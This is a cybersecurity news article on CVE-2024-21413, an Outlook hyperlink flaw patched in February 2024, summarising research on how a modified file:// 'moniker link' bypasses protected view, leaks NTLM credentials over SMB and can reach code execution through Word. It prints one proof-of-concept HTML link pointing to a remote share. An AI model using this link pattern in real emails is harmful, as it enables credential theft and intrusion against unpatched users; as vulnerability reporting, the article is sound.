Sunday, April 14, 2024

New Outlook 0-day RCE Flaw Exploited in the Wild

Outlook has been discovered to have an interesting vulnerability while handling specific hyperlinks, which was found to be exploited by threat actors in the wild. This vulnerability has been assigned with CVE-2024-21413, and the severity was given as 9.8 (Critical).

However, Microsoft has addressed this vulnerability and fixed it as part of their Patch Tuesday release of February 2024. Successful exploitation of this vulnerability could allow a threat actor to bypass the Office-protected view and open a file in editing mode instead of the “protected mode.”

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Outlook 0-day RCE Flaw

According to the Checkpoint report, if the hyperlink starts with http:// or https://, Outlook uses Windows’s default browser to open the URL. However, if there are any other protocols like the “Skype” URL protocol, clicking on the hyperlink will display a security warning.

Microsoft Warning Notice (Source: Checkpoint)
Microsoft Warning Notice (Source: Checkpoint)

In other cases, like the “file://” protocol, Outlook did not display a warning dialog box. Instead, it had an error message in the Windows Notification Center, and the resource that was tried to access through the link was also not accessed.

If the file was accessed, there is a high chance that the local NTLM credential information could have been leaked.

Windows Notification Center Warning Message (Source: Checkpoint)
Windows Notification Center Warning Message (Source: Checkpoint)

A slight modification in the “file://” protocol link bypasses the previously shown security restriction and proceeds to access the resource. For testing purposes, the below link was used, which successfully accessed the “test.rtf” file on the remote resource.

<a href=”file:///\\\test\test.rtf!something”>CLICK ME</a>

As stated by researchers, accessing this resource uses the SMB protocol that leaks the local NTLM credential information during the process. Moreover, researchers also tried escalating this attack vector to arbitrary code execution. 

Moniker Link string uses the “look up” for COM (Component Object Model) objects on Windows. Outlook calls the ole32!MkParseDisplayName() API for doing this job. As per Microsoft’s API document for Moniker, including “!” makes it a composite moniker.


Researchers used this composite moniker with FileMoniker (\\\test\test.rtf) + ItemMoniker (something) for accessing Microsoft Word. Windows runs Microsoft Word as a COM server in the background.

If the hyperlink is clicked, Word opens and parses the file “test.rtf” based on the string “\\\test\test.rtf”. However, this test.rtf is controlled by the attacker, which was further modified to perform arbitrary code execution on the remote system using “WINWORD.EXE”.

Researchers stated this #MonikerLink bug/attack vector may be present in other software and also recommend developers check and fix the issue.

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Eswar is a Cyber security content editor with a passion for creating captivating and informative content. With years of experience under his belt in Cyber Security, he is covering Cyber Security News, technology and other news.

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